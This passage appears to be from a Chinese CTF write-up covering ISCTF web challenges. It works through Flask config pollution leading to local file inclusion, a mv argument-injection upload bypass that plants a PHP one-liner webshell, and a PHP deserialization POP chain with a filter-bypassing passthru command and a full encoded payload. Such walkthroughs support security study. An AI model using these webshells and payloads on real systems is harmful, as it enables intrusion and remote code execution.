1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 app (Flask 应用实例) │ ├── .config (配置字典) │ │ # 这里存放着所有的安全配置 │ ├── ['SECRET_KEY'] -> Session 签名密钥 (拿到它就能伪造任意用户登录) │ ├── ['SQLALCHEMY_ DATABASE_URI'] -> 数据库连接串 (改成你的恶意数据库地址) │ ├── ['DEBUG'] -> 调试模式开关 (部分版本开启可导致 RCE) │ ├── ['PERMANENT_ SESSION_LIFETIME']-> Session 过期时间 │ └── ... (其他自定义配置) │ ├── .jinja_ loader (本题攻击区:模板加载器)│ │ # 负责寻找模板文件 │ └── .searchpath (list) -> [关键] 模板搜索路径列表 │ │ (默认是 ['/app/templates']) │ └── 改为 ['/'] 则导致 LFI │ ├── .jinja_env (Jinja2 环境配置) │ │ # 这里控制着模板渲染的规则 │ ├── .globals (dict) -> 全局函数/变量 (SSTI 常在这里找 os/eval) │ ├── .filters (dict) -> 过滤器定义 │ └── ... │ ├── .url_ map (路由映射表)│ │ # 决定了 URL 怎么跳转 │ └── ... │ ├── .view_functions (视图函数字典) │ │ # 存储了每个路由对应的 Python 函数 │ └── ... │ └── .__class__ / .__init__ (Python 原生魔法属性) │ # 用来进行“原型链”跳跃,跳出 app 去找其他模块 └── .__globals__ -> 访问引入的 os, sys 等模块 (RCE 常用)
构造并访问:
1 /operate?username=app&password=jinja_loader.searchpath&confirm_password=/
显示oprate success,证明污染成功
接着构造并访问:
拿到flag
9. mv_upload 这种上传文件的题目,首先在信息不足的情况下先查看版本和扫目录
用dirsearch扫出了/index.php~,访问后拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 <?php $uploadDir = '/tmp/upload/' ; $targetDir = '/var/www/html/upload/' ; $blacklist = [ 'php' , 'phtml' , 'php3' , 'php4' , 'php5' , 'php7' , 'phps' , 'pht' ,'jsp' , 'jspa' , 'jspx' , 'jsw' , 'jsv' , 'jspf' , 'jtml' ,'asp' , 'aspx' , 'ascx' , 'ashx' , 'asmx' , 'cer' , 'aSp' , 'aSpx' , 'cEr' , 'pHp' ,'shtml' , 'shtm' , 'stm' ,'pl' , 'cgi' , 'exe' , 'bat' , 'sh' , 'py' , 'rb' , 'scgi' ,'htaccess' , 'htpasswd' , "php2" , "html" , "htm" , "asa" , "asax" , "swf" ,"ini" ]; $message = '' ;$filesInTmp = [];if (!is_dir ($targetDir )) { mkdir ($targetDir , 0755 , true ); } if (!is_dir ($uploadDir )) { mkdir ($uploadDir , 0755 , true ); } if (isset ($_POST ['upload' ]) && !empty ($_FILES ['files' ]['name' ][0 ])) { $uploadedFiles = $_FILES ['files' ]; foreach ($uploadedFiles ['name' ] as $index => $filename ) { if ($uploadedFiles ['error' ][$index ] !== UPLOAD_ERR_OK) { $message .= "文件 {$filename} 上传失败。<br>" ; continue ; } $tmpName = $uploadedFiles ['tmp_name' ][$index ]; $filename = trim (basename ($filename )); if ($filename === '' ) { $message .= "文件名无效,跳过。<br>" ; continue ; } $fileParts = pathinfo ($filename ); $extension = isset ($fileParts ['extension' ]) ? strtolower ($fileParts ['extension' ]) : '' ; $extension = trim ($extension , '.' ); if (in_array ($extension , $blacklist )) { $message .= "文件 {$filename} 因类型不安全(.{$extension} )被拒绝。<br>" ; continue ; } $destination = $uploadDir . $filename ; if (move_uploaded_file ($tmpName , $destination )) { $message .= "文件 {$filename} 已上传至 $uploadDir $filename 。<br>" ; } else { $message .= "文件 {$filename} 移动失败。<br>" ; } } } if (is_dir ($uploadDir )) { $handle = opendir ($uploadDir ); if ($handle ) { while (($file = readdir ($handle )) !== false ) { if (is_file ($uploadDir . $file )) { $filesInTmp [] = $file ; } } closedir ($handle ); } } if (isset ($_POST ['confirm_move' ])) { if (empty ($filesInTmp )) { $message .= "没有可移动的文件。<br>" ; } else { $output = []; $returnCode = 0 ; exec ("cd $uploadDir ; mv * $targetDir 2>&1" , $output , $returnCode ); if ($returnCode === 0 ) { foreach ($filesInTmp as $file ) { $message .= "已移动文件: {$file} 至$targetDir $file <br>" ; } } else { $message .= "移动文件失败: " .implode (', ' , $output )."<br>" ; } } } ?> <!DOCTYPE html> <html lang="zh-CN" > <head> <meta charset="UTF-8" > <title>多文件上传服务</title> <style> body { font-family: Arial, sans-serif; margin: 20 px; } .container { max-width: 800 px; margin: auto; } .alert { padding: 10 px; margin: 10 px 0 ; background: .success { background: ul { list -style-type: none; padding: 0 ; } li { margin: 5 px 0 ; padding: 5 px; background: </style> </head> <body> <div class ="container "> <h2 >多文件上传服务</h2 > <?php if ($message ): ?> <div class ="alert <?= strpos ($message , '失败') ? '' : 'success ' ?>"> <?= $message ?> </div > <?php endif ; ?> <form method ="POST " enctype ="multipart /form -data "> <label for ="files ">选择文件:</label ><br > <input type ="file " name ="files []" id ="files " multiple required > <button type ="submit " name ="upload ">上传到临时目录</button > </form > <hr > <h3 >待确认上传文件</h3 > <?php if (empty ($filesInTmp )): ?> <p >暂无待确认上传文件</p > <?php else : ?> <ul > <?php foreach ($filesInTmp as $file ): ?> <li ><?= htmlspecialchars ($file ) ?></li > <?php endforeach ; ?> </ul > <form method ="POST "> <button type ="submit " name ="confirm_move ">确认上传完毕,移动到存储目录</button > </form > <?php endif ; ?> </div > </body > </html >
黑名单比较全面,加上题目标题是mv_upload,猜测本题考查系统命令mv
源码中跟mv有关的是 :
1 exec ("cd $uploadDir ; mv * $targetDir 2>&1" , $output , $returnCode );
在终端输入:
出来的第一个使用方法很有意思,是在后面跟上–backup
原理是如果目标文件已经存在,再用mv移动同名文件会把先前的文件覆盖,但是加上–backup的话,不会直接覆盖先前的文件,而是先把旧文件改名备份,然后再把新文件移过去。
但是本题单纯的改名没有任何意义,这时就要用到另一个,在后面跟上–suffix=【想要的后缀】,这样就可以随心所欲地修改想要上传的文件后缀了
本题的攻击顺序很明朗了
创建一个文件“shell.p”,里面写入一句话木马,接着上传并移动
创建文件“–backup”和“–suffix=hp”,接着上传shell.p、–backup和–suffix=hp,同时进行移动
访问/upload/shell.php,若显示空白页面就代表改名成功,POST传入cmd=system(“cat /flag”);即可
10. ezpop 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 <?php error_reporting (0 );class begin { public $var1 ; public $var2 ; function __construct ($a ) { $this ->var1 = $a ; } function __destruct ( ) { echo $this ->var1; } public function __toString ( ) { $newFunc = $this ->var2; return $newFunc (); } } class starlord { public $var4 ; public $var5 ; public $arg1 ; public function __call ($arg1 , $arg2 ) { $function = $this ->var4; return $function (); } public function __get ($arg1 ) { $this ->var5->ll2 ('b2' ); } } class anna { public $var6 ; public $var7 ; public function __toString ( ) { $long = @$this ->var6->add (); return $long ; } public function __set ($arg1 , $arg2 ) { if ($this ->var7->tt2) { echo "yamada yamada" ; } } } class eenndd { public $command ; public function __get ($arg1 ) { if (preg_match ("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i" , $this ->command)){ echo "nonono" ; }else { eval ($this ->command); } } } class flaag { public $var10 ; public $var11 ="1145141919810" ; public function __invoke ( ) { if (md5 (md5 ($this ->var11)) == 666 ) { return $this ->var10->hey; } } } if (isset ($_POST ['ISCTF' ])) { unserialize ($_POST ["ISCTF" ]); }else { highlight_file (__FILE__ ); }
首先找终点,在类 eenndd中找到eval($this->command);,这里就是要到的终点
接着逆推通过__get($arg1)找到上一步,触发__get需要出现一个不存在的属性,在类flaag 中有return $this->var10->hey;访问的属性hey并不存在
触发 __invoke要把对象当成函数来调用,在类starlord中有return $function();,把$function当函数用
触发 __call需要调用不存在的方法,在类anna中有$long = @$this->var6->add(); return $long;,add() 方法并不存在
触发 __toString需要把一个对象当做字符串处理,在类begin中有echo $this->var1;
__destruct 是反序列化后对象销毁时自动执行,因此作为起点
链条总结 : begin::__destruct() -> anna::__toString() -> starlord::__call() -> flaag::__invoke() -> eenndd::__get() -> eval()
其中还有两点需要处理:
flaag 类的 MD5 弱类型比较:
1 if (md5 (md5 ($this ->var11)) == 666 )
需要找一个字符串,经过两次 MD5 加密后,结果以 666 开头
编写一个MD5爆破的py脚本:
1 2 3 4 5 6 7 8 9 import hashlibfor i in range (1000000 ): s = str (i) res = hashlib.md5(hashlib.md5(s.encode()).hexdigest().encode()).hexdigest() if res.startswith("666" ): print (f"{s} " ) break
得到:213
eenndd 类的正则绕过:
1 preg_match ("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i" , $this ->command)
根据黑名单构造payload:
1 2 passthru("uniq\$IFS\$9/f*"); //如果写ca\t,那\t会被php解析成Tab键;如果只写$IFS$9,两个$会被php解析成变量
这样就可以根据已知的pop链编写脚本了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php class begin { public $var1 ; }class anna { public $var6 ; }class starlord { public $var4 ; }class flaag { public $var10 ; public $var11 = 213 ; } class eenndd { public $command = 'passthru("uniq\$IFS\$9/f*");' ; } $exp = new begin ();$exp ->var1 = new anna ();$exp ->var1->var6 = new starlord ();$exp ->var1->var6->var4 = new flaag ();$exp ->var1->var6->var4->var10 = new eenndd ();echo urlencode (serialize ($exp ));?>
得到payload:
1 ISCTF=O%3A5%3A%22begin%22%3A1%3A%7Bs%3A4%3A%22var1%22%3BO%3A4%3A%22anna%22%3A1%3A%7Bs%3A4%3A%22var6%22%3BO%3A8%3A%22starlord%22%3A1%3A%7Bs%3A4%3A%22var4%22%3BO%3A5%3A%22flaag%22%3A2%3A%7Bs%3A5%3A%22var10%22%3BO%3A6%3A%22eenndd%22%3A1%3A%7Bs%3A7%3A%22command%22%3Bs%3A28%3A%22passthru%28%22uniq%5C%24IFS%5C%249%2Ff%2A%22%29%3B%22%3B%7Ds%3A5%3A%22var11%22%3Bi%3A213%3B%7D%7D%7D%7D
11. kaqiWeaponShop